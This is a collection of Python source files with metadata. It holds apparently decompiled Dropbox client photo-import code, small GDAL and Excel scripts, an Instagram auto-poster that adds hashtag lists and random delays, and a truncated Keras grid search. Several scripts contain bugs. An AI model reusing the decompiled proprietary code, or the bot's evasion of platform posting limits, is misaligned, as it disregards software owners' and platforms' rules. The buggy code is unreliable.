self.check_cancel()\n\n for album, server_gid in zip(albums_list, server_gids):\n server_id_by_iphoto_id[album.uid] = server_gid\n\n self.photodb.save_iphoto_album_server_cgid_mapping(server_id_by_iphoto_id)\n for iphoto_album_uid, server_gid in server_id_by_iphoto_id.iteritems():\n albums[iphoto_album_uid].server_collection_gid = server_gid\n\n albums_list = [ album for album in albums.itervalues() if album.server_collection_gid is not None ]\n self.albums_by_photo = get_albums_by_photo_dict(albums_list)\n else:\n self.albums_by_photo = {}\n\n def get_import_space_usage(self, *args, **kwargs):\n import_space_usage = self.import_space_usage(*args, **kwargs)\n if self.check_space_callback:\n if import_space_usage != NOT_OUT_OF_SPACE:\n self.get_available_space(trace=True)\n self.check_space_callback(import_space_usage, len(self._files_to_read))\n self.check_cancel()\n return import_space_usage\n\n def _handle_existing_hashes(self, details, files, cur_index):\n other_path = None\n is_dup = False\n if details.cu_hash_full in self.cu_hashes_full:\n is_dup = True\n TRACE('Photo %r, cu_hash_full %r was already imported in this session! Not importing', details.f_name, details.cu_hash_full)\n else:\n self._rotate_and_hash(details)\n other_path = self.app.sync_engine.find_blocklist_in_dir(details.blocklist, self.dest_path_sp)\n if other_path:\n other_path = self.app.sync_engine.server_to_local(other_path.server_path)\n is_dup = True\n TRACE('Photo %r, blocklist %r exists in the camera uploads folder at %s already! Not importing', details.f_name, details.blocklist, other_path)\n if is_dup:\n self._handle_dup(details)\n if details.member_of_albums:\n TRACE('Duplicate photo was in iPhoto albums! Adding existing photo to albums')\n if details.cu_hash_full in self.cu_hashes_full:\n for other_deets in reversed(files[:cur_index]):\n if other_deets.cu_hash_full == other_deets.cu_hash_full and other_deets not in self.skipped_files:\n TRACE('Found existing file in this import with same hash at %s', other_deets.path)\n if other_deets.member_of_albums is None:\n other_deets.member_of_albums = []\n other_deets.member_of_albums.extend(details.member_of_albums)\n if other_deets.path.dirname == self.dest_path and fsutil.is_exists(other_deets.path):\n other_path = other_deets.path\n break\n\n if other_path:\n TRACE('Found existing file in folder with same blocklist: %s', other_path)\n details.path = other_path\n self._write_attrs(details)\n else:\n self.cu_hashes_full.add(details.cu_hash_full)\n return is_dup\n\n @handle_exceptions\n def run(self):\n if self.create_event_subdirs:\n try:\n self.event_dirname_by_id = self.photodb.get_iphoto_event_dirname_by_id()\n self.event_dirname_by_id = dict(((event_id, self.fs.make_path(dirname)) for event_id, dirname in self.event_dirname_by_id.iteritems()))\n except Exception:\n unhandled_exc_handler()\n self.event_dirname_by_id = {}\n\n super(PhotoGalleryImporter, self).run()\n if self.check_space_callback:\n if not self._files_to_read:\n self.check_space_callback(NOT_OUT_OF_SPACE, 0)\n else:\n self.photodb.clear_iphoto_album_server_cgid_mapping()\n\n def _end_photo_group(self, pending_files, curr_deets):\n if self.create_event_subdirs:\n return pending_files and (pending_files[0].photo_name != curr_deets.photo_name or pending_files[0].f_obj.event_id() != curr_deets.f_obj.event_id())\n else:\n return pending_files and pending_files[0].photo_name != curr_deets.photo_name\n\n def _verify_dest_path(self, file_deets_pairs, force = False):\n super(PhotoGalleryImporter, self)._verify_dest_path(force=force)\n if self.create_event_subdirs:\n deetslist = file_deets_pairs[0][1]\n event_id = deetslist[0].f_obj.event_id()\n dirs_created = []\n event_dir = self.event_dirname_by_id.get(event_id)\n if event_dir:\n TRACE('IPHOTOIMPORT: Found existing event folder %r', unicode(event_dir))\n if not fsutil.is_exists(self.fs, event_dir):\n fsutil.makedirs(self.fs, event_dir, dirs_created)\n else:\n try:\n event_dir = self.events[event_id].name\n except KeyError:\n unhandled_exc_handler()\n event_dir = trans(u'Untitled event')\n else:\n TRACE('IPHOTOIMPORT: Creating folder for event %r', event_dir)\n event_dir = normalize_event_name(event_dir)\n\n for suffix in itertools.count():\n event_dirname = event_dir if suffix == 0 else '%s (%d)' % (event_dir, suffix)\n event_dir_path = self.dest_path.join(event_dirname)\n fsutil.makedirs(self.fs, event_dir_path, dirs_created)\n if dirs_created:\n break\n\n TRACE('IPHOTOIMPORT: Creating folder for event %r at path %r', event_id, unicode(event_dir_path))\n self.photodb.save_iphoto_event_dirname_by_id(event_id, unicode(event_dir_path))\n self.event_dirname_by_id[event_id] = event_dir_path\n\n def generate_path_from_deets(self, details, n):\n fn = u'%s%s%s' % (details.photo_name, u'-%d' % n if n else u'', details.f_ext.lower())\n if self.create_event_subdirs:\n dirpath = self.event_dirname_by_id[details.f_obj.event_id()]\n else:\n dirpath = self.dest_path\n return dirpath.join(fn)\n\n\nSTRIPPED_CHAR_PLACEHOLDER = '-'\n\ndef normalize_event_name(name):\n normalized_name = re.sub('[\\\\\\\\/:*?\"<>|]+', STRIPPED_CHAR_PLACEHOLDER, name)\n normalized_name = re.sub('^\\\\.+', STRIPPED_CHAR_PLACEHOLDER, normalized_name)\n if not normalized_name or normalized_name != name and not normalized_name.strip(STRIPPED_CHAR_PLACEHOLDER):\n normalized_name = trans(u'Untitled event')\n return normalized_name\n", "repo_name": "bizonix/DropBoxLibrarySRC", "sub_path": "pyc_decrypted/latest/dropbox/client/photoimporter.py", "file_name": "photoimporter.py", "file_ext": "py", "file_size_in_byte": 46327, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "78", "api": [{"api_name": "dropbox.camera.PhotoImportExceptionBase", "line_number": 74, "usage_type": "name"}, {"api_name": "dropbox.dbexceptions.LowDiskSpaceError", "line_number": 74, "usage_type": "name"}, {"api_name": "re.search", "line_number": 118, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 120, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 122, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 127, "usage_type": "call"}, {"api_name": "re.search", "line_number": 134, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 136, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 138, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 143, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 152, "usage_type": "attribute"}, {"api_name": "dropbox.trace.TRACE", "line_number": 158, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 160, "usage_type": "call"}, {"api_name": "time.time", "line_number": 168, "usage_type": "call"}, {"api_name": "dropbox.functions.split_extension", "line_number": 173, "usage_type": "call"}, {"api_name": "dropbox.debugging.easy_repr", "line_number": 177, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 185, "usage_type": "attribute"}, {"api_name": "dropbox.lock_ordering.NonRecursiveLock", "line_number": 188, "usage_type": "call"}, {"api_name": "dropbox.callbacks.Observable", "line_number": 201, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 201, "usage_type": "name"}, {"api_name": "dropbox.callbacks.Observable", "line_number": 202, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 202, "usage_type": "name"}, {"api_name": "dropbox.callbacks.Observable", "line_number": 203, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 203, "usage_type": "name"}, {"api_name": "dropbox.callbacks.Observable", "line_number": 204, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 204, "usage_type": "name"}, {"api_name": "dropbox.callbacks.Observable", "line_number": 205, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 205, "usage_type": "name"}, {"api_name": "dropbox.callbacks.Observable", "line_number": 206, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 206, "usage_type": "name"}, {"api_name": "dropbox.native_event.AutoResetEvent", "line_number": 211, "usage_type": "call"}, {"api_name": "dropbox.camera.PhotoImportCanceled", "line_number": 237, "usage_type": "call"}, {"api_name": "dropbox.camera.PhotoImportDisconnected", "line_number": 239, "usage_type": "call"}, {"api_name": "dropbox.path.ServerPath.from_ns_rel", "line_number": 242, "usage_type": "call"}, {"api_name": "dropbox.path.ServerPath", "line_number": 242, "usage_type": "name"}, {"api_name": "dropbox.camera.PhotoImportLowDropboxSpace", "line_number": 247, "usage_type": "call"}, {"api_name": "threading.Event", "line_number": 250, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 255, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 266, "usage_type": "call"}, {"api_name": "time.time", "line_number": 275, "usage_type": "call"}, {"api_name": "dropbox.callbacks.ObservableIterator", "line_number": 284, "usage_type": "call"}, {"api_name": "dropbox.trace.reraise_exc_handler", "line_number": 284, "usage_type": "name"}, {"api_name": "dropbox.trace.TRACE", "line_number": 300, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 303, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 305, "usage_type": "call"}, {"api_name": "arch.photouploader.is_disconnected_error", "line_number": 306, "usage_type": "call"}, {"api_name": "arch.photouploader", "line_number": 306, "usage_type": "attribute"}, {"api_name": "dropbox.trace.TRACE", "line_number": 307, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 320, "usage_type": "call"}, {"api_name": "errno.ENOSPC", "line_number": 340, "usage_type": "attribute"}, {"api_name": "dropbox.dbexceptions.LowDiskSpaceError", "line_number": 341, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 343, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 346, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 333, "usage_type": "name"}, {"api_name": "time.strptime", "line_number": 351, "usage_type": "attribute"}, {"api_name": "time.strftime", "line_number": 352, "usage_type": "call"}, {"api_name": "time.mktime", "line_number": 353, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 355, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 356, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 357, "usage_type": "call"}, {"api_name": "time.mktime", "line_number": 358, "usage_type": "call"}, {"api_name": "dropbox.metadata.metadata.get_metadata_for_plat", "line_number": 362, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 369, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 372, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 374, "usage_type": "call"}, {"api_name": "arch.constants", "line_number": 376, "usage_type": "attribute"}, {"api_name": "dropbox.camera.util.is_apple_device", "line_number": 376, "usage_type": "call"}, {"api_name": "dropbox.camera.PhotoImportDeviceLocked", "line_number": 377, "usage_type": "call"}, {"api_name": "dropbox.camera.PhotoImportDeviceLocked", "line_number": 379, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 380, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 389, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 389, "usage_type": "attribute"}, {"api_name": "collections.deque", "line_number": 391, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 406, "usage_type": "call"}, {"api_name": "dropbox.camera.PhotoImportSelectiveSync", "line_number": 414, "usage_type": "call"}, {"api_name": "dropbox.dbexceptions.LowDiskSpaceError", "line_number": 424, "usage_type": "name"}, {"api_name": "dropbox.camera.PhotoImportLowDropboxSpace", "line_number": 424, "usage_type": "name"}, {"api_name": "dropbox.camera.PhotoImportSelectiveSync", "line_number": 424, "usage_type": "name"}, {"api_name": "dropbox.fsutil.rmtree", "line_number": 433, "usage_type": "call"}, {"api_name": "dropbox.fsutil", "line_number": 433, "usage_type": "name"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 435, "usage_type": "call"}, {"api_name": "struct.calcsize", "line_number": 450, "usage_type": "call"}, {"api_name": "struct.calcsize", "line_number": 451, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 454, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 455, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 459, "usage_type": "call"}, {"api_name": "client_api.hashing.DROPBOX_MAX_BLOCK_SIZE", "line_number": 463, "usage_type": "argument"}, {"api_name": "client_api.hashing.DROPBOX_MAX_BLOCK_SIZE", "line_number": 470, "usage_type": "argument"}, {"api_name": "dropbox.fsutil.mkstemp", "line_number": 486, "usage_type": "call"}, {"api_name": "dropbox.fsutil", "line_number": 486, "usage_type": "name"}, {"api_name": "dropbox.trace.report_bad_assumption", "line_number": 505, "usage_type": "call"}, {"api_name": "operator.attrgetter", "line_number": 514, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 515, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 526, "usage_type": "call"}, {"api_name": "dropbox.camera.PhotoImportLowDropboxSpace", "line_number": 529, "usage_type": "call"}, {"api_name": "dropbox.dbexceptions.LowDiskSpaceError", "line_number": 531, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 533, "usage_type": "call"}, {"api_name": "dropbox.trace.report_bad_assumption", "line_number": 542, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 548, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 549, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 550, "usage_type": "call"}, {"api_name": "pprint.pformat", "line_number": 550, "usage_type": "call"}, {"api_name": "dropbox.camera.PhotoImportLowDropboxSpace", "line_number": 557, "usage_type": "call"}, {"api_name": "dropbox.dbexceptions.LowDiskSpaceError", "line_number": 560, "usage_type": "call"}, {"api_name": "dropbox.fsutil.safe_remove", "line_number": 569, "usage_type": "call"}, {"api_name": "dropbox.fsutil", "line_number": 569, "usage_type": "name"}, {"api_name": "dropbox.trace.TRACE", "line_number": 577, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 589, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 602, "usage_type": "call"}, {"api_name": "itertools.count", "line_number": 611, "usage_type": "call"}, {"api_name": "dropbox.fsutil.is_exists", "line_number": 613, "usage_type": "call"}, {"api_name": "dropbox.fsutil", "line_number": 613, "usage_type": "name"}, {"api_name": "itertools.izip", "line_number": 621, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 626, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 635, "usage_type": "call"}, {"api_name": "dropbox.fsutil.makedirs", "line_number": 647, "usage_type": "call"}, {"api_name": "dropbox.fsutil", "line_number": 647, "usage_type": "name"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 652, "usage_type": "call"}, {"api_name": "dropbox.i18n.trans", "line_number": 657, "usage_type": "call"}, {"api_name": "dropbox.fsutil.makedirs", "line_number": 659, "usage_type": "call"}, {"api_name": "dropbox.fsutil", "line_number": 659, "usage_type": "name"}, {"api_name": "dropbox.fsutil.safe_remove", "line_number": 673, "usage_type": "call"}, {"api_name": "dropbox.fsutil", "line_number": 673, "usage_type": "name"}, {"api_name": "dropbox.metadata.transforms.try_rotate_image_file", "line_number": 675, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 675, "usage_type": "name"}, {"api_name": "dropbox.trace.TRACE", "line_number": 676, "usage_type": "call"}, {"api_name": "client_api.hashing.BetterDropboxHasher", "line_number": 678, "usage_type": "call"}, {"api_name": "client_api.hashing.DROPBOX_MAX_BLOCK_SIZE", "line_number": 681, "usage_type": "argument"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 694, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 700, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 705, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 718, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 719, "usage_type": "call"}, {"api_name": "arch.util.get_platform_info", "line_number": 727, "usage_type": "call"}, {"api_name": "arch.util", "line_number": 727, "usage_type": "attribute"}, {"api_name": "dropbox.timehelper.tz_offset_string", "line_number": 730, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 730, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 730, "usage_type": "attribute"}, {"api_name": "dropbox.build_common.get_build_number", "line_number": 732, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 735, "usage_type": "call"}, {"api_name": "dropbox.attrs.unfreeze_attr_dict", "line_number": 743, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 745, "usage_type": "call"}, {"api_name": "dropbox.attrs.attr_dict_from_whitelist", "line_number": 747, "usage_type": "call"}, {"api_name": "dropbox.attrs.Attributes", "line_number": 757, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 758, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 777, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 777, "usage_type": "attribute"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 782, "usage_type": "call"}, {"api_name": "dropbox.functions.safe_str", "line_number": 792, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 797, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 825, "usage_type": "call"}, {"api_name": "dropbox.attrs.get_attr_data", "line_number": 825, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 828, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 832, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 833, "usage_type": "call"}, {"api_name": "dropbox.attrs.attr_dict_from_whitelist", "line_number": 834, "usage_type": "call"}, {"api_name": "dropbox.i18n.trans", "line_number": 839, "usage_type": "call"}, {"api_name": "dropbox.path.ServerPath.from_ns_rel", "line_number": 840, "usage_type": "call"}, {"api_name": "dropbox.path.ServerPath", "line_number": 840, "usage_type": "name"}, {"api_name": "time.strptime", "line_number": 854, "usage_type": "attribute"}, {"api_name": "time.strftime", "line_number": 855, "usage_type": "call"}, {"api_name": "time.mktime", "line_number": 856, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 858, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 859, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 860, "usage_type": "call"}, {"api_name": "time.mktime", "line_number": 861, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 866, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 874, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 876, "usage_type": "call"}, {"api_name": "dropbox.functions.batch", "line_number": 877, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 881, "usage_type": "call"}, {"api_name": "dropbox.camera.PhotoImportNoConnectionError", "line_number": 883, "usage_type": "call"}, {"api_name": "dropbox.camera.PhotoImportAlbumCreationError", "line_number": 885, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 916, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 923, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 927, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 931, "usage_type": "call"}, {"api_name": "dropbox.fsutil.is_exists", "line_number": 935, "usage_type": "call"}, {"api_name": "dropbox.fsutil", "line_number": 935, "usage_type": "name"}, {"api_name": "dropbox.trace.TRACE", "line_number": 940, "usage_type": "call"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 954, "usage_type": "call"}, {"api_name": "dropbox.functions.handle_exceptions", "line_number": 947, "usage_type": "name"}, {"api_name": "dropbox.trace.TRACE", "line_number": 978, "usage_type": "call"}, {"api_name": "dropbox.fsutil.is_exists", "line_number": 979, "usage_type": "call"}, {"api_name": "dropbox.fsutil", "line_number": 979, "usage_type": "name"}, {"api_name": "dropbox.fsutil.makedirs", "line_number": 980, "usage_type": "call"}, {"api_name": "dropbox.fsutil", "line_number": 980, "usage_type": "name"}, {"api_name": "dropbox.trace.unhandled_exc_handler", "line_number": 985, "usage_type": "call"}, {"api_name": "dropbox.i18n.trans", "line_number": 986, "usage_type": "call"}, {"api_name": "dropbox.trace.TRACE", "line_number": 988, "usage_type": "call"}, {"api_name": "itertools.count", "line_number": 991, "usage_type": "call"}, {"api_name": "dropbox.fsutil.makedirs", "line_number": 994, "usage_type": "call"}, {"api_name": "dropbox.fsutil", "line_number": 994, "usage_type": "name"}, {"api_name": "dropbox.trace.TRACE", "line_number": 998, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 1014, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 1015, "usage_type": "call"}, {"api_name": "dropbox.i18n.trans", "line_number": 1017, "usage_type": "call"}]} {"seq_id": "6530730028", "text": "\r\nimport numpy as np\r\nimport cv2\r\nfrom skimage.filters import threshold_otsu\r\nfrom skimage import morphology\r\nfrom skimage.color import rgb2lab\r\nfrom skimage.io import imsave\r\nimport os\r\nimport gdal\r\nimport matplotlib.pyplot as plt\r\n\r\ndef imread_gdal(data_name,level):\r\n \r\n \r\n\r\n gdalObj = gdal.Open(data_name)\r\n \r\n\r\n \r\n rOverview = gdalObj.GetRasterBand (1)\r\n gOverview = gdalObj.GetRasterBand (2)\r\n bOverview = gdalObj.GetRasterBand (3)\r\n if level>=0:\r\n rOverview = rOverview.GetOverview(level)\r\n gOverview = gOverview.GetOverview(level)\r\n bOverview = bOverview.GetOverview(level)\r\n rOverview = rOverview.ReadAsArray(0,0, rOverview.XSize, rOverview.YSize) \r\n gOverview = gOverview.ReadAsArray(0,0, gOverview.XSize, gOverview.YSize) \r\n bOverview = bOverview.ReadAsArray(0,0, bOverview.XSize, bOverview.YSize) \r\n \r\n return np.stack((rOverview ,gOverview ,bOverview),axis=2)\r\n\r\np=r'D:\\MPI_CBG\\data_plice\\data\\normal_tif'\r\n\r\nfile_names=[]\r\nfor folder_path in p:\r\n for root, dirs, files in os.walk(folder_path):\r\n for name in files:\r\n if name.endswith(\"normal.tif\"):\r\n file_names.append(root+'\\\\'+name)\r\n \r\n \r\n \r\nfor file_name in file_names:\r\n i+=1\r\n \r\n print(str(i) + '/'+ str(len(file_names)) + ' ' + file_name)\r\n \r\n\r\n \r\n img_s=imread_gdal(file_name,5)\r\n \r\n plt.figure()\r\n plt.imshow(img_s)\r\n plt.title(file_name)\r\n \r\n ", "repo_name": "tomasvicar/Histopathology", "sub_path": "old/lungs_resave/test_same.py", "file_name": "test_same.py", "file_ext": "py", "file_size_in_byte": 1502, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "gdal.Open", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 31, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}]} {"seq_id": "72939470302", "text": "import datetime\r\nimport openpyxl\r\ndef check_date(y, m, d):\r\n correctDate= None\r\n try:\r\n newDate= datetime.datetime(y,m,d)\r\n correctDate= \"Valid Date\"\r\n myfile= openpyxl.load_workbook('event.xlsx')\r\n sheet= myfile.get_sheet_by_name('Sheet1')\r\n sheet['A2']= 'My Birthday'\r\n event_date= str(y)+ '-'+str(m)+'-'+str(d)\r\n sheet['B2'] = event_date\r\n myfile.save('event.xlsx')\r\n except ValueError:\r\n correctDate = \"Invalid Date\"\r\n return correctDate\r\nday= int(input(\"Enter Day: \"))\r\nmon= int(input(\"Enter Month: \"))\r\nyr= int(input(\"Enter Year: \"))\r\nres=check_date(yr,mon,day)\r\nprint(res)\r\n\r\n\r\n", "repo_name": "hkshitesh/ADI-PYTHON-REPO", "sub_path": "14 July (Live Session Submission)/LabEx2.py", "file_name": "LabEx2.py", "file_ext": "py", "file_size_in_byte": 660, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "datetime.datetime", "line_number": 6, "usage_type": "call"}, {"api_name": "openpyxl.load_workbook", "line_number": 8, "usage_type": "call"}]} {"seq_id": "36793334932", "text": "from instabot import Bot\nfrom os.path import exists\nfrom datetime import datetime\nimport os\nimport time\nimport random\n\n\nos.system(\"rm -rf config\")\n\nbot = Bot()\nbot.login(username=\"\", password=\"\")\n\ndir_image = \"img/\"\n\n\nmy_hashtags = \"\"\"\n#Migraine #Migraines #MigraineAttack #MigrainesSuck #MigraineTriggers #MigraineProblems #MigraineLife #AbdominalMigraines #Headache #MenstrualMigraine #Headaches #ChronicMigraine #ChronicHeadache #HeadacheFromHell \n#Losangeles #LAgram #USA #America#California #UnitedStates #city #citylife#view #bigcity\n\"\"\"\n\nmy_caption = \"\"\nfor content_file in os.listdir(dir_image):\n if content_file.endswith(\"jpg\"):\n \n caption_file = content_file[:-4] + \".txt\"\n if exists(dir_image + caption_file):\n print(\"Start Time =\", datetime.now())\n random_seconds = random.randint(560, 999)\n time.sleep(random_seconds)\n with open(dir_image + caption_file) as f:\n lines = f.readlines()\n buffer_lines = []\n for line in lines:\n # print(\"LINE\")\n # print(line)\n new_line = line.replace(\"\", \"\")\n new_line = new_line.replace(\"\", \"\")\n new_line = new_line.replace(\"\", \"\")\n buffer_lines.append(new_line)\n buffer_lines.pop()\n buffer_lines.append(my_hashtags)\n my_caption = \"\".join(buffer_lines)\n bot.upload_photo(dir_image + content_file, caption=my_caption)\n print(dir_image + content_file, \" was uploaded.\")\n print(\"End Time =\", datetime.now())\n\n\n'''\n\n'''", "repo_name": "xiubinzheng/insta-auto-poster-git", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1654, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.system", "line_number": 9, "usage_type": "call"}, {"api_name": "instabot.Bot", "line_number": 11, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 28, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 28, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 29, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 46, "usage_type": "name"}]} {"seq_id": "27020930774", "text": "# cnn으로 변경\n# 파라미터 변경해보고\n# 노드 개수, activation 추가\n# epochs = [1,2,3]\n# learning_rate 추가\n\n\nimport numpy as np\nfrom tensorflow.keras.datasets import mnist\nfrom tensorflow.keras.models import Model, Sequential\nfrom tensorflow.keras.layers import Dense, Dropout, Input, Conv1D, MaxPooling1D, Flatten\n\n# 1. 데이터\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\nfrom tensorflow.keras.utils import to_categorical\ny_train = to_categorical(y_train)\ny_test = to_categorical(y_test)\n\nx_train = x_train.reshape(60000, 28*28).astype('float32')/255\nx_test = x_test.reshape(10000, 28*28).astype('float32')/255\n\n# print(x_train.shape, y_train.shape) # (60000, 28, 28) (60000, 10)\n\n\n# 2. 모델\ndef build_model(drop=0.5, optimizer='adam'):\n '''\n inputs = Input(shape=(28*28), name='input')\n x = Dense(512, activation='relu', name='hidden1')(inputs)\n x = Dropout(drop)(x)\n x = Dense(256, activation='relu', name='hidden2')(inputs)\n x = Dropout(drop)(x)\n x = Dense(128, activation='relu', name='hidden3')(inputs)\n x = Dropout(drop)(x)\n outputs = Dense(10, activation='softmax', name='outputs')(x)\n model = Model(inputs=inputs, outputs=outputs)\n model.compile(optimizer=optimizer, metrics=['acc'],\n loss='categorical_crossentropy')\n '''\n\n inputs = Input(shape=(28*28,1), name='input')\n x = Conv1D(filters = 2, kernel_size=3, activation= 'relu')(inputs)\n x = Dropout(drop) (x) \n x = MaxPooling1D(2,2) (x)\n x = Dropout(drop) (x)\n x = Flatten() (x)\n x = Dense(2, activation='relu', name='hidden3')(x)\n x = Dropout(drop)(x)\n outputs = Dense(10, activation='softmax', name='outputs')(x)\n model = Model(inputs=inputs, outputs=outputs)\n model.compile(optimizer=optimizer, metrics=['acc'],\n loss='categorical_crossentropy')\n\n return model\n\ndef create_hyperparameter():\n batches = [1000, 2000, 3000, 4000, 5000]\n optimizers = ['rmsprop'] # , 'adam', 'adadelta']\n dropout = [0.3, 0.4, 0.5]\n return {\"batch_size\" : batches, \"optimizer\" : optimizers,\n \"drop\" : dropout}\n\nhyperparameters = create_hyperparameter()\n# print(hyperparameters)\n\n\nfrom tensorflow.keras.wrappers.scikit_learn import KerasClassifier\n# model2 = build_model() # 아래처럼 써준다\nmodel2 = KerasClassifier(build_fn=build_model, verbose=1)\n\nfrom sklearn.model_selection import GridSearchCV, RandomizedSearchCV\n# model = RandomizedSearchCV(model2, hyperparameters, cv=5)\nmodel = GridSearchCV(model2, hyperparameters, cv=2)\n\nmodel.fit(x_train, y_train, verbose=1, epochs=2) #, 